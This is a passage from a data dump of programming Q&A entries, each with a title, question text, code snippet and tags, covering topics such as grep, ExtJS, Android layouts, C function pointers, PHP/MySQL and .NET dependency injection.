onMouseOut=\"MM_changeProp('d2p','','backgroundPosition','top center','SPAN')\"
/><span id=\"d2p\"
onMouseOver=\"MM_changeProp('d2p','','backgroundPosition','bottom center','SPAN')\"
onMouseOut=\"MM_changeProp('d2p','','backgroundPosition','top
center','SPAN')\"></span></a></div>\n <div class=\"span199\"><a
href=\"\"><img src=\"images/port2door.jpg\" alt=\"Port to Door\"
onMouseOver=\"MM_changeProp('p2d','','backgroundPosition','bottom center','SPAN')\"
onMouseOut=\"MM_changeProp('p2d','','backgroundPosition','top center','SPAN')\"
/><span id=\"p2d\"
onMouseOver=\"MM_changeProp('p2d','','backgroundPosition','bottom center','SPAN')\"
onMouseOut=\"MM_changeProp('p2d','','backgroundPosition','top
center','SPAN')\"></span></a></div>\n <div class=\"span199\"><a
href=\"\"><img src=\"images/port2port.jpg\" alt=\"Port to Port\"
onMouseOver=\"MM_changeProp('p2p','','backgroundPosition','bottom center','SPAN')\"
onMouseOut=\"MM_changeProp('p2p','','backgroundPosition','top center','SPAN')\"
/><span id=\"p2p\"
onMouseOver=\"MM_changeProp('p2p','','backgroundPosition','bottom center','SPAN')\"
onMouseOut=\"MM_changeProp('p2p','','backgroundPosition','top
center','SPAN')\"></span></a></div>\n </div>\n </div>\n</div>\n\n<div
class=\"row-fluid\">\n <div class=\"span8\">\n <ul id=\"foot\">\n <li><img
src=\"images/worldwide.jpg\" alt=\"Worldwide\" />\n <li><a href=\"#\"
id=\"africa\"></a>\n <li><a href=\"#\" id=\"asia\"></a>\n <li><a href=\"#\"
id=\"australia\"></a>\n <li><a href=\"#\" id=\"europe\"></a>\n <li><a
href=\"#\" id=\"nAmerica\"></a>\n <li><a href=\"#\" id=\"sAmerica\"></a>\n
</ul>\n </div>\n</div>\n\n<div class=\"row-fluid footerbox\">\n <div
class=\"span3\">\n <ul id=\"subsub\">\n <li><a href=\"#\"
id=\"priceQuote\"></a>\n <li>|\n <li><a href=\"#\" id=\"contact\"></a>\n
</ul>\n </div>\n <div class=\"span9\">\n <ul class=\"pull-right\"
id=\"copy\">\n <li><a href=\"\">Terms &amp; Conditions</a> |\n <li>Copyright
2012 &copy; Alpha Marine, Inc. All Rights Reserved.\n </ul>\n </div>\n</div>\
n\n</div><!-- end .container-fluid -->\n\n</body>\n\n</html>\n", "internet-explorer
twitter-bootstrap responsive-design image-scaling"], "4907300": ["remove multiple
lines from text file using grep", "I would like to remove unwanted lines from my
text file had certain words. i have use grep -v like this \n\nit's working with one
word but not on multiple words. did i miss anything?\n", "grep -v 'error|fault|
unkownn' input.txt > out.txt\n", "grep"], "2802053": ["ExtJs4 Mapping a treeStore
level to a Store", "What is a good way to map a level of a treestore to a flat
store. In my case, \nI want to group criteria for a search. All search criteria are
inserted into the top level of the treeStore, unless they are grouped, in which
case they become children of a top level logical(AND or OR) node. So, within a
grid, I want to display the top level nodes (via some toString method I will define
in the model). This is the easy part, I just go through the top level of my tree
and generate the output for the Store/grid. However, when I want to remove
something from the grid/store, it also needs to be removed from the treestore which
represents the actual logical structure. \nSo, How can I keep track of which
textual store item corresponds to which top level node in my treeStore?\n", "",
"mvc extjs grid extjs4 store"], "3280286": ["Is there a special type of
multivariate regression for multiple-parameter predictions?", "I am trying using
multivariate regression to play basketball. Specificlly, I need to, based on X, Y,
and distance from the target, predict the pitch, yaw, and cannon strength. I was
thinking of using multivariate regression with multipule variables for each of the
output parameter. Is there a better way to do this?\nAlso, should I use solve
directly for the best fit, or use gradient descent?\n", "", "algorithm machine-
learning robotics linear-regression prediction"], "2721068": ["Rspec2: Mock class
methods, but not all", "I've wrote a class method, which calls other class methods
of the same class. \n\nHow do I test, that update_statistic calls do_something?\nI
use Rails 3 & rspec 2.\n", "class Statistic\n def self.do_something\n #...\n
end\n\n def self.update_statistic\n Statistic.do_something\n end\nend\n",
"ruby-on-rails ruby-on-rails-3 rspec rspec2"], "5082259": ["Get content range of
the file during upload progress", "I am using form action to support video uploads
with rest api. I need to provide my clients a way to know the content range
received on my server while the uploading is in progress. \nCan anyone suggest me
ways to achieve this?\nThanks in advance!!\n", "", "c# html rest file-upload"],
"4402852": ["CAPICOM dll not working in x64 bit server", "I am using CAPICOM dll in
my project for certificate generation. \nOn my local machine that is 32 bit sysatem
it is working fine but on server where I host my application that is 64 bit server
machine it gives 0x80090020 error.\nAs my local machine I register CAPICOM.dll with
regsvr32 CAPICOM.dll command in system32 folder and also register the CAPICOM.dll
with regsvr32 CAPICOM.dll command in system32 and syswow64 both folders. Message
appears that dll registered successfully.\nWhen I run my application then it will
gives the 0x80090020 error. this error means is \"Internal Server Error\".\nPlease
give me reply if there is some way to resolve this error. I don't want to use the
other alternatives of CAPICOM.dll.\nPlease give me solution ASAP I have spent lots
of time but not getting any solution.\nThanks in advanced.\n", "", "security
cryptography"], "180164": ["How can Javascript mask whether radio button is
checked?", "Is it possible with Javascript to hide the checked-status of a radio
button so that on a form submit the submit-request fails b/c of missing
information?\nFor example: I have a group of radio buttons\n\nNow I am checking the
radio button with the and by submitting it (dunno whether I got the button
correct, but I sorta guess it is correct) the server should get a request where it
says (right?).\nNow is there a way to have that radio button checked and hidden it
at the same time?\nI am asking b/c somehow a javascript I am using is supposedly
hiding this status (everywhere but in IE) by somehow altering the DOM or what do I
know and I can't seem to get the right request nor find the reason why or how it
does it.\nIf I am being unclear, please say so.\nEDIT: One javascript that has this
effect can be found here http://www.frequency-decoder.com/demo/table-sort-
revisited/js/paginate.js but others do so as well :(\nEDIT: Changed ID-names. Still
doesn't work.\n", "<form action=\"?modul=daDaaaah&subModul=someCoolThingy\"
method=\"post\">\n <input type=\"radio\" name=\"mygroup\" id=\"nod_1\"
value=\"great\" />\n <input type=\"radio\" name=\"mygroup\" id=\"nod_2\"
value=\"greater\" />\n <input type=\"radio\" name=\"mygroup\" id=\"nod_3\"
value=\"awesome\" />\n <input type=\"radio\" name=\"mygroup\" id=\"nod_4\"
value=\"junk\" />\n <input type=\"radio\" name=\"mygroup\" id=\"nod_5\"
value=\"foo\" />\n <input type=\"submit\" name=\"edit\" value=\"Edit\"
/>\n</form>\n", "javascript httprequest"], "1987818": ["What are the digits that
make this equation true in this cryptarithm?", "Can you find digits that make the
equations true in the following alphametic puzzle (cryptarithm)?\n$$RE + MI = FA$$\
n$$DO + SI = MI$$\n$$LA + SI = SOL$$\n\nZero may be a possible variable\nNo one
digit may be represented by more than one variable\n\n", "", "puzzle
cryptography"], "2815307": ["Does the memory of a string pointed to by an IntPtr
returned by a DllImport need to be manually freed?", "I have a couple of questions
regarding the following:\n\n\nWhere is the memory of the string pointed to by
allocated?\nIs this memory automatically freed when goes out of scope?\nIf yes,
how does that happen?\nIf no, how do I free the memory?\n\n",
"[DllImport(\"libmp3lame.dll\", CharSet = CharSet.Ansi)]\nstatic extern IntPtr
get_lame_version();\n\npublic static string GetLameVersion()\n{\n IntPtr
pVersion = get_lame_version();\n string version =
Marshal.PtrToStringAnsi(pVersion);\n return version;\n}\n", "c# .net memory-
management pinvoke dllimport"], "2718893": ["MySQL/PHP Selecting only unique values
from multiple columns and put them into seperate arrays", "Using PHP and MySQL I'm
trying to select unique values from multiple columns in a table (but not all the
columns in the table) and put all the unique values from each column selected in
its own array. The uniqueness of each columns values should be compared only to
other values in the same column.\nThe code below puts all the unique values from
all the columns in the $make_array then puts empty values in all the rest of the
arrays.\nHow can I select only unique values from these columns and put each
columns values in its own array?\n\n", "$sql = \"\n (SELECT make FROM items)\n
UNION\n (SELECT model FROM items)\n UNION\n (SELECT year FROM items)\n
UNION\n (SELECT month FROM items)\n
UNION\n (SELECT day FROM items)\n UNION\n (SELECT hour FROM items)\";\
n\n$result = @mysql_query($sql, $con) or die(mysql_error());\n\nwhile($row =
mysql_fetch_array($result)) {\n\n $make = $row[make];\n $model =
$row[model];\n $year = $row[year];\n $month = $row[month];\n $day =
$row[day];\n $hour = $row[hour];\n\n $make_array[make][] = $make;\n
$model_array[model][] = $model;\n $year_array[year][] = $year;\n
$month_array[month][] = $month;\n $day_array[day][] = $day;\n
$hour_array[hour][] = $hour;\n}\n", "php mysql arrays"], "3911653": ["Android -
Custom dialog boxes layout problem", "I have a custom dialog box displaying some
text and a image underneath.\nThe text is made up of a few lines and despite
messing around with all the XML layout stuff millions of times, the image at the
bottom is always overlapping half/some of the text. How can I tweak it so it
appears underneath and after the text has finished?\n\nItems are set inside a
RelativeLayout setting.\n", "<ImageView android:id=\"@+id/image\"\n
android:layout_width=\"wrap_content\" \n
android:layout_height=\"wrap_content\"\n
android:layout_centerHorizontal=\"true\" \n />\n\n<ScrollView
android:id=\"@+id/ScrollView01\"\n android:layout_width=\"wrap_content\" \n
android:layout_below=\"@+id/image\"\n android:layout_height=\"200px\">
\n\n <TextView android:id=\"@+id/text\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n android:textColor=\"#FFF\"\n
/>\n\n</ScrollView> \n\n<ImageView android:id=\"@+id/image2\"\n
android:layout_height=\"wrap_content\"\n
android:layout_width=\"wrap_content\" \n
android:layout_centerHorizontal=\"true\"\n
android1:layout_alignParentBottom=\"true\"/>\n", "java android xml layout dialog"],
"2354520": ["How to move blog title in the middle of the screen?", "I am very new
to blogging.My blog has its title description at the top left but I want it to be
in the middle of the screen and the description of the blog beneath the
image.Thanks in advance.\nEDIT:\nI did:\n\nBut the title is still at the topleft
corner.\n", " <title style=\"text-align:center\"><data:blog.pageTitle/></title >\
n", "html css blogs blogger title"], "4843121": ["split view controller in a custom
container controller?", "I am wondering if it is possible to present a
splitviewcontroller within a custom container controller (or a tabbar controller)?
I have seen from this doc and other post: \n\nA split view controller must always
be the root of any interface you\n create. In other words, you must always install
the view from a\n UISplitViewController object as the root view of your
application\u2019s\n window. [...] Split view controllers cannot be presented
modally.\n\nI have a splash screen in my app that will lead me to this container
controller which I would like to contain a splitview controller. Is it just
impossible according to Apple Programming guide or is there any workaround?\n", "",
"ios5 uitabbarcontroller uisplitviewcontroller"], "643118": ["How to play a tone on
iPhone", "Is it possible to easily play a tone, or series of tones on the iPhone
(like morse code, beep beeeeeep beep)? \nIs there any sample code out there that
would point me in the right direction?\n(I remember on the Commodore 64 it was
about 4 lines of code !)\n", "", "iphone objective-c audio"], "5082258": ["What is
NOR logical operator?", "Is nor:\n!(a or b)\n!a or !b\n!(a and b)\nsomething else?\
n", "", "language-agnostic logic boolean"], "5136456": ["If $f$ is continuous at
$(0,0)$, is $g(x) := f(x, \\sin x)$ continuous at $0$?", "If $f$ is continuous at
$(0,0)$, is $g(x) := f(x, \\sin x)$ continuous at $0$?\nIntuitively this seems true
because as you approach 0 the $\\sin$ function also approaches 0 from both sides.
Any push on how to prove this would be appreciated!\n", "", "calculus"], "696758":
["How to update contents of div after redirect?", "This seems impossible but I will
ask anyway.\nHere is the scenario\nI have a MVC 3 View that loads 3 partial views,
one for login, one for registration, and one for OpenID logins.\nThe first 2 work
great with Ajax, however; the third view uses ajax to post to my openid controller
where I go do some DotNetOpenAuth magic\nExample:\n\nI am doing a redirect from the
returned Json from the controller the OpenId Login form posts to, \"remember this
post is via ajax\". So after the redirect I would like to replace the contents of
the div with the initial openid login partial view with a new view based on what
happens after the redirect to the provider, the user signs in, and I get a response
back in my actionMethod. For instance, I will check in my database to see if I
already have an account for that open id. If I don't I would like to present a
partial view to the user with some basic questions etc.. and let them add the open
id account. \nSo it seems that this is not possible since the redirect kills any
chance of getting data back to the original page.\nAny ideas?\nProcess bullets as
requested:\n\nMain View renders a partial view with a form\nForm inside partial
view does ajax post to an ActionMethod in a controller\nActionMethod in the
controller returns Json with a redirectUrl\nOnSuccess callback function reads json
result and does a client side redirect to the redirectUrl\nUser logs in to openid
provider at redirected location\nOpenId provider sends results back to the same
ActionMethod that generated the initial Json redirectUrl result\nPerform DB lookup
on open Id and return partial view if user not found or log user in if found.\n\nI
would like to have the view id the user is not found get loaded in the original div
the login form was in. This doesn't work.\n", " var response =
authenticationRequest.RedirectingResponse;\n if(response.Status ==
HttpStatusCode.Redirect)\n {\n return Json(new
{redirectUrl=response.Headers[HttpResponseHeader.Location] }); \n
}\n", "asp.net-mvc-3 jquery-ajax dotnetopenauth"], "4822061": ["C# / Compact
Framework 2.0 / List query error", "OK so I have:\n\nThis is throwing some errors
at me:\nWarning 1 Reference to type
'System.Runtime.Serialization.SerializationInfo' claims it is defined in 'c:\\
Program Files (x86)\\Microsoft.NET\\SDK\\CompactFramework\\v2.0\\WindowsCE\\
mscorlib.dll', but it could not be found c:\\Program Files (x86)\\Reference
Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.DataSetExtensions.dll IMSCF\
nError 2 The type 'System.Data.DataTable' is defined in an assembly that is not
referenced. You must add a reference to assembly 'System.Data, Version=2.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089'. C:\\Data\\C#\\IMSCF\\IMSCF\\
frmPickList.cs 52 13 IMSCF\nError 3 The type 'System.Data.DataRow' is
defined in an assembly that is not referenced. You must add a reference to assembly
'System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'.
C:\\Data\\C#\\IMSCF\\IMSCF\\frmPickList.cs 52 13 IMSCF\nThe 'var' keywords get
highlighted by the last two errors.\nI'm pretty new to C# and .NET CF so I don't
really know what I'm doing wrong here; the code is adapted from something I found
on a C# site somewhere.\nFunny thing is, those references do exist in my
project...all the right using statements are there etc...\nIs there something here
that .NET CF doesn't support (that's becoming a recurring theme in this
project :P)\nThanks in advance.\n", "var filteredItems = lstAllItems.Where(item =>
item.Parent.ID == parentId);\n\nTreeNode childNode;\n foreach (var i in
filteredItems.ToList())\n {\n if (parentNode == null)\n
childNode = tvwPickList.Nodes.Add(i.Text);\n else\n childNode =
parentNode.Nodes.Add(i.Text);\n\n RefreshPickList(i.ID, childNode);\n }\
n", "c# .net list compact-framework"], "5338538": ["Input from keyboard in Tcl",
"How do I give input to a Tcl script through the keyboard? Is there any thing like
in C?\n", "scanf()", "tcl"], "5902756": ["Node.js - Requiring mongoose here and
there causes redundancy?", "I have the following Node.js directory structure.\n\nIn
app.js, there's a line likes this . In schema.js:\n\nIn post.js:\n\nAnd in
index.js, there might be a line likes this: . All files mentioned above require
mongoose. The purpose of schemas.js is for helping programmers to grasp the schema
of the database in a single file. However, I wonder if this implement causes
redundancy and cause more overhead, for I require mongoose here and there. Should I
pass it as an argument around?\n", "|--app/\n |--app.js\n |--routers/\n
|--index.js/\n |--models/\n |--schemas.js\n |--post.js\n", "node.js
arguments mongoose require redundancy"], "906877": ["Arabic text not displaying
correctly", "I am developing an application to read Quran with translation on
facebook. But i am facing a problem in displaying arabic font. I have seen few
threads on internet but they mostly say use utf-8. Some said arabic in database
should be in utf encoding.\nArabic text field in database has
encoding \"utf8_unicode_ci\" in mysql database. And i have also tested following
meta tags on php file:\n\nBut non of them worked.\nWhat i need to do now? May be i
can use ttf font file (but where can i download that file plus browser issues
arises with font files. And i am not sure if it will solve problem or not.)\nmy
application resides here: http://apps.facebook.com/islamicworld/\nI have removed
any authentication login to see this app. So you can view it directly. You will see
it displays ????????? ??????? ????? ????????????? Intead of \u0628\u0650\u0633\
u0652\u0645\u0650 \u0627\u0644\u0644\u0651\u064e\u0647\u0650
\u0627\u0644\u0631\u0651\u064e\u062d\u0652\u0645\u064e\u0670\u0646\u0650 \u0627\
u0644\u0631\u0651\u064e\u062d\u0650\u064a\u0645\u0650\nPlease guide me with best
possible solution.\nThanks\n", "<meta http-equiv=\"Content-Type\"
content=\"text/html; charset=utf-8\" />\n<meta http-equiv=\"Content-Type\"
content=\"text/html; charset=windows-1256\">\n<meta http-equiv=\"Content-Type\"
content=\"text/html; charset=ISO-8859-1\" />\n", "facebook fonts font-face
facebook-apps arabic"], "5583154": ["C++ rvalue expression with destructor
generates warning C4701 in Visual Studio 2010", "The following C++ code, compiles
without warning in Visual Studio 2010:\n\nHowever if str_wrapper has a user-defined
destructor, the code generates the warning on the callFunc(x, y) line:\nwarning
C4701: potentially uninitialized local variable 'y' used.\n\nstruct str_wrapper\n{\
n str_wrapper();\n ~str_wrapper(); ///< Causes warning C4701 below\n};\nextern bool
tryParseInt( const str_wrapper& str, int& outValue );\nvoid test()\n{\n int x, y;\n
if ( tryParseInt( str_wrapper(), x ) && tryParseInt( str_wrapper(), y ) )\n {\n //
C4701 generated for following line\n callFunc( x, y );\n }\n}\n\nI would be happy
if both examples generated a warning, or if neither example generated a warning.
Am I missing some obscure C++ rule, or is this a compiler bug?\n", "\nextern void
callFunc( int, int );\n\nstruct str_wrapper\n{\n str_wrapper();\n};\n\nextern bool
tryParseInt( const str_wrapper& str, int& outValue );\n\nvoid test()\n{\n int x,
y;\n if ( tryParseInt( str_wrapper(), x ) && tryParseInt( str_wrapper(), y ) )\n {\
n // No warning generated\n callFunc( x, y );\n }\n}\n", "c++ visual-c++
expression warnings rvalue"], "4924743": ["Why might a static data member not get
initialized?", "I'm trying to register a bunch of classes with a factory at load
time. My strategy is to harness static initialization to make sure that before
main() begins, the factory is ready to go. This strategy seems to work when I link
my library dynamically, but not when I link statically; when I link statically,
only some of my static data members get initialized.\nLet's say my factory builds
Cars. I have CarCreator classes that can instantiate a handful of cars, but not
all. I want the factory to collect all of these CarCreator classes so that code
looking for a new Car can go to the factory without having to know who will be
doing the actual construction.\nSo I've got\nCarTypes.hpp\n\nMyFactory.hpp\n\
nMyFactory.cpp\n\n...\nThen I'll have specific cars and specific car creators:\
nMiata.cpp\n\n...\nTo reiterate: dynamically linking my libraries,
MiataCreator::registered will get initialized, statically linking my libraries, it
will not get initialized.\nWith a static build, when someone goes to the factory to
request a Miata, the miata element of the will point to NULL and the program will
exit.\nIs there anything special with private static integral data members that
their initialization will be somehow skipped? Are static data members only
initialized if the class is used? My CarCreator classes are not declared in any
header file; they live entirely within the .cpp file. Is it possible that the
compiler is inlining the initialization function and somehow avoiding the call to
MyFactory::?\nIs there a better solution to this registration problem?\nIt is not
an option to list iall of the CarCreators in a single function, register each one
explicitly with the factory, and then to guarantee that the function is called. In
particular, I want to link several libraries together and define CarCreators in
these separate libraries, but still use a singular factory to construct them.\n...\
nHere are some responses I am anticipating but which do not address my problem:\n1)
your singleton Factory isn't thread safe.\na) Shouldn't matter, I'm working with
only a single thread.\n2) your singleton Factory may be uninitialized when your
CarCreators are being initialized (i.e. you've got a static initialization fiasco)\
na) I'm using a safe version of the singleton class by putting the singleton
instance into a function. If this were a problem, I should see output if I added a
print statement to the method: I don't.\n", "enum CarTypes\n{\n prius = 0,\n
miata,\n hooptie,\n n_car_types\n};\n", "c++ initialization static-members"],
"5184451": ["Android devices with Google APIs", "I know this question may be lame,
but I'm trying to find a list of Google API supported Android devices. I just want
to know how my app compatibility for certain smartphones will look like. Any
ideas?\n", "", "android api google"], "5285671": ["c function pointers", "This
program sorts lines alphabetically/numerically depending on the arguments passed to
main.\nAnd im working on this exercise from k&R now:\nAdd the option -f to fold
upper and lower case together, so that case distinctions are not made during
sorting; for example, a and A compare equal.\nIs what i wrote in my_strcmp good?
And will it work good in conjuction with -r and -n? (r - reverse order, n-
numerical sort). \nI figured id ask here for your opinions since on klc wiki the
solution isnt presented like this. \n\nOne more question. I was trying to add the
option -d (directory order) - \"which makes comparisons only on letters numbers and
blanks. Make sure it works in conjuction with -f.\" and im a bit baffled on how to
edit my_strcmp. This is what i did:\n\nBut im not so sure if its good.\nI also
wrote my_strcmp2, which handles the case if directory and fold are zero.\nThen we
just strcmp them, but we have to track if directory is 1 aswell...\n\n", "#include
<stdio.h>\n#include <string.h>\n#include <ctype.h>\n\n#define MAXBUF 10000\n\
n#define MAXLINES 5000\nchar *lineptr[MAXLINES];\n\nint readlines(char *lineptr[],
char buffer[], int nlines);\nvoid writelines(char *lineptr[], int nlines);\n\nvoid
qsort(void **lineptr, int left, int right, int (*comp)(void *, void *));\nint
numcmp(char *, char *);\n\nint reverse = 0;\nint numeric = 0;\nint fold = 0;\nint
my_strcmp(char *s1, char *s2)\n{\n\n char *p1 = (reverse) ? s2 : s1;\n char
*p2 = (reverse) ? s1 : s2;\n\n\n if(fold) {\n while(toupper(*p1) ==
toupper(*p2)) {\n p1++, p2++;\n if(!*p1)\n
return 0;\n }\n return toupper(*p1) - toupper(*p2);\n }\n\n
return strcmp(p1, p2);\n}\n\nint main(int argc, char *argv[])\n{\n int nlines;\n
char buffer[MAXBUF];\n\n int i = 1;\n for(i = 1; i < argc; i++) {\n
if(strcmp(argv[i], \"-n\") == 0) {\n numeric = 1;\n } else
if(strcmp(argv[i], \"-r\") == 0) {\n reverse = 1;\n } else
if(strcmp(argv[i], \"-f\") == 0) {\n fold = 1;\n } else {\
n printf(\"illegal argument\\n\");\n }\n }\n\n\n
if((nlines = readlines(lineptr, buffer, MAXLINES)) >= 0) {\n qsort((void
**)lineptr, 0, nlines - 1, \n (numeric ? (int (*)(void *, void *))numcmp :
(int (*)(void *, void *))my_strcmp));\n writelines(lineptr, nlines);\n
getchar();\n return 0;\n } else {\n printf(\"input too big to
sort\\n\");\n return 1;\n }\n\n}\n\nvoid writelines(char *lineptr[],
int nlines)\n{\n int i;\n\n for (i = 0; i < nlines; i++)\n
printf(\"%s\\n\", lineptr[i]);\n}\n\nint getline(char s[], int lim)\n{\n int c,
i;\n\n for (i=0; i<lim-1 && (c=getchar())!=EOF && c!='\\n'; ++i)\n s[i] =
c;\n if (c == '\\n') {\n s[i] = c;\n ++i;\n }\n s[i] = '\\
0';\n return i;\n}\n\n#define MAXLEN 1000\nint readlines(char *lineptr[], char
*buffer, int maxlines)\n{\n int len, nlines;\n char *p, line[MAXLEN];\n\n
nlines = 0;\n p = buffer;\n while ((len = getline(line, MAXLEN)) > 0)\n
if (p - buffer + len > MAXBUF)\n return -1;\n else {\n
line[len-1] = '\\0'; /* delete newline */\n strcpy(p, line);\n
lineptr[nlines++] = p;\n p += len;\n }\n return nlines;\n}\n\
nvoid qsort(void *v[], int left, int right, int(*comp)(void *, void *))\n{\n
int i, last;\n void swap(void *v[], int, int);\n\n if(left >= right)\n
return;\n\n swap(v, left, (left + right) / 2);\n last = left;\n for(i =
left + 1; i <= right; i++) \n if((*comp)(v[i], v[left]) < 0)\n
swap(v, ++last, i);\n swap(v, left, last);\n qsort(v, left, last - 1,
comp);\n qsort(v, last + 1, right, comp);\n}\n\n#include <stdlib.h>\n\nint
numcmp(char *p1, char *p2)\n{\n char *s1 = reverse ? p2 : p1;\n char *s2 =
reverse ? p1 : p2;\n double v1, v2;\n\n v1 = atof(s1);\n v2 = atof(s2);\n if
(v1 < v2)\n return -1;\n else if (v1 >
v2) \n return 1; \n else\n return
0;\n}\n\nvoid swap(void *v[], int i, int j)\n{\n void *temp;\n\n temp =
v[i];\n v[i] = v[j];\n v[j] = temp;\n}\n", "c pointers function function-
pointers"], "2777969": ["umbraco cms physical/real path of media folder", "I have
installed umbraco cms and I'm just trying to figure it out where are stored
the \"media\" files uploaded . Basically I can see them delivered through a kind of
url rewrite on the web like http://domain.com/media/4554/file.extension. However I
would like to know where are actually located the files on the disk . I would
appreciate any answer\n", "", "umbraco"], "3113788": ["iPhone: Merge/combine audio
files", "I have 2 audio files and I want to merge them. 1 audio.mp3 file says
- \"hello\" and 2 audio.mp3 file says - \"friend\".\nI want to merge them and get
result: \"hello\" + 3 seconds silience + \"friend\". (hello friend). \nI have
found many solution for this, tried everything but still didn't get result :(\nSo
if you know how to do this please post some code here. (don't
post a link because I found many links for this soluton but none of them worked).
\nThanks.\nGeorge.\n", "", "iphone objective-c audio core-audio"], "5285677":
["Best soap tutorials", "I am looking to start a project that will involve the use
of soap quite extensively. However... I know nothing about it! I was wondering if
the community here could point me towards a few of the choicer tutorials on the net
instead of having to wade through countless sub-par search results. And when I say
I know nothing about it, I mean I know that its like an online api to some extent,
but really that is it. Thanks!\nThis would be used in conjunction with an android
app, so I suppose I should also ask if android sdk even supports soap/ is this even
a valid question? I really am clueless here.\n", "", "android api soap tutorials"],
"706922": ["Can malware/intrusion attempt via browser, attack other computers on
same local network? (Windows) (no shares setup)?", "Can malware, if running within
a plug-in or elsewhere within the browser, or if downloaded and executed, or within
a site that attempts intrusion, attack other machines on the local network, even if
no local shares are setup?\nExamples too, please for Windows?\n", "", "windows
security web malware"], "2139563": ["Can I run a 32 bit device driver on a 64 bit
o/s, by creating a virtual 32 bit machine?", "I have a device for which there are
no 64 bit drivers (a USB connected scanner). I am replacing the 32 bit machine
(Windows XP) to which it is attached with a 64 bit Windows 7 machine. Will it be
possible to create a virtual 32 bit machine instance in the 64 bit environment to
run that scanner? \n", "", "virtual-machine drivers"], "4426786": ["Unable to
Complete Typing My Log on ID", "I am trying to access an online account but I am
unable to complete typing my user id. I can only type a few characters, then It
will stop before I complete my UserID. I was able to log on a few hours ago, but
now I can not. Can any body help find a solution to this problem? Does this have
any thing to do with javascript? \n", "", "login username typing authentication
userid"], "1752633": ["*.less syntax highlighting in Geany", "Is there any way to
add syntax highlighting for *.less files in Geany? I found that using *.css syntax
higlighting, sugessted somewhere in the internet is not enough for me, and in fact
it making bloody mess from any more complicated *.less stylesheet. \nI really like
Geany, so changing IDE is not an option. \nThanks in advance!\n", "", "css less
syntax-highlighting geany"], "3541059": ["How to enable a DHCP subnet through
DhcpSAPI", "I'm writing a module to manage a DHCP server co-located with the
service in which the module exists.\nI have code in place using the DHCP Server API
which is able to create a subnet and add DHCP reservations. What I don't seem to be
able to do is actually enable/activate the subnet scope.\nI had assumed that would
do the job with the field of the structure set to however this seems to have no
effect.\nScanning through the rest of the DHCP Server API I can't see any other
methods for configuring subnets/scopes.\nHas anyone managed to do this?\nThanks for
your help.\nNick.\nEdit:\n\nDebugging the code, all of the DhcpXX functions pass,
but the function returns false when checking:\n\n", "DhcpSetSubnetInfo( )", "c++
visual-c++ winapi dhcp"], "3113789": ["Why do computers get slower over time?", "\
nPossible Duplicate:\nWhy does hardware get slower with time? \n\nYou probably know
this: A newly bought computer is snappy and responsive and just really fast. Then
you use it for a couple of months and slowly but steadily the computer gets slower.
Opening programs now takes a long time, accessing files takes longer, everything
just takes longer than it used to.\nIf you wipe your hard drive and reinstall,
everything is back to its original snappyness, but will deteriorate again.\nThis
always happend with any operating system I used. Worst of all Windows XP, but also
with Ubuntu Linux, Fedora Linux, OSX 10.5/10.6, Windows Vista... (haven't used Win
7 long enough to confirm this)\nDo you know the reason for this? Or even, a cure?\
n", "", "operating-systems performance"], "5101213": ["Render temperature map
without using range values", "I'd like to render a map such as:\n\nwith different
color, not just gradients, with a map that has 0...1 value of temperature, without
using ranged values, this is, if t = 0...0.2 use red*t, if t > 0.2 and t < 0.4 use
orange * t, etc. \nAny tip?\nEDIT: example code of \"ranges\":\n\n", " else if
(layerType == \"temperature\") {\n\n if (value <= 0.2) {\n r =
Math.round(value * 200)+100;\n g = Math.round(value * 200)+100;\n b =
Math.round(value * 250)+150;\n a = 1;\n } else if (value > 0.2 && value
<= 1) {\n r = Math.round(value * 250);\n g = Math.round(value *
250);\n b = Math.round(value * 200);\n a = 1;\n }\n", "algorithm
rendering"], "622004": ["Histogram Equalization", "I am a beginner in Python. I
want to make a small project on histogram equalisation. Basically I want to include
changing contrast, color and crop option etc in my project. I am blank right now.
Please suggest something. I am very keen to make this project but how to start? \
n", "", "python image-processing"], "4410671": ["Dependency Injection: Combine
Constructor Injection benefit with Setter Injection benefits?", "I'm annoyed to
have to pass plumbing objects through Constructor because I'd like to reserve
constructor arguments for business entities or values to pass.\nSo I'd like to pass
by Setters but my object which contains the dependencies should not be instantiated
as long as these setters has not been fullfilled.\nHow to do this without a bunch
of if dependency01 not empty and dependency02 not empty knowing that BOTH must not
be empty ?\n", "", ".net dependency-injection inversion-of-control"], "255993":
["How can I improve Windsor 3.0 startup time?", "I am trying out Windsor 3.0 to see
if we can upgrade.\nThe following console application\n\nTakes 5421.875ms
(consistently above 5000ms) to create the WindsorContainer.\nAny suggestions to
decrease this creation time?\n", "var t = DateTime.Now;\nvar container = new
WindsorContainer();\nDebug.WriteLine(\"Created in \" + (DateTime.Now -
t).TotalMilliseconds);\n", ".net castle-windsor castle windsor-3.0"], "102348":
["What happens to suspended jobs in unix?", "We can issue CTRL+Z to suspend any
jobs in Unix and then later on bring them back to life using or . I want to
understand what happens to those jobs that are suspended like this ? Are they
killed/terminated ? In other words what is the difference between killing and
suspending a process ?\n", "fg", "process signals process-management jobs"],
"634775": ["Validate input field and block characters", "Hello guys i have an input
field and i want to validate in real time the insterted characters.\nI want that
this input field accept only letters, number and one blank space. If is inserted
for example *, script delete this characters.\nRegards\nOn input filed:\n\nOn JS:\
n\nI have: Abc123' 123* but i accept Abc123 123\n",
"onkeyup=\"check(this,'onlyletter')\" onblur=\"check(this,'onlyletter')\n",
"javascript validation"], "5602055": ["setting Fluent NHibernate Conventions -
using Set for OneToMany", "I am trying to modify the Automapping conventsion in
Fluent NHibernate to use \".AsSet\" for OneToMany mappings, rather than \".AsBag\"
(which, judging from the hbm files exported, appears to be the default).\nI have
spent hours pouring over the documentation, and I understand that I need to do a \
n\"AutoMap.AssemblyOf<T>().Conventions.Add<CustomType>()\"\nAnd I've figured out
that CustomType needs to derive from one of the IConvention interfaces, and
implement the Apply method. But I am getting completely wrapped around the axle
chasing interfaces and types through the ObjectBrowser and trying to figure out
exactly which interface it needs to derive from, what the arguments to the Apply
method are, and what goes in it.\nThanks for your help.\n", "", "fluent-nhibernate
conventions automapping"], "2630918": ["RTOS - passing allocating a struct and
passing it through a queue", "I've been having some issues with a couple of tasks
I'm running. I have three tasks, where one is an LCD update task, and the other two
are motor driver tasks. I also have two ISR's that post messages to both the motor
driver tasks. As far as passing pointers safely, I was thinking about creating a
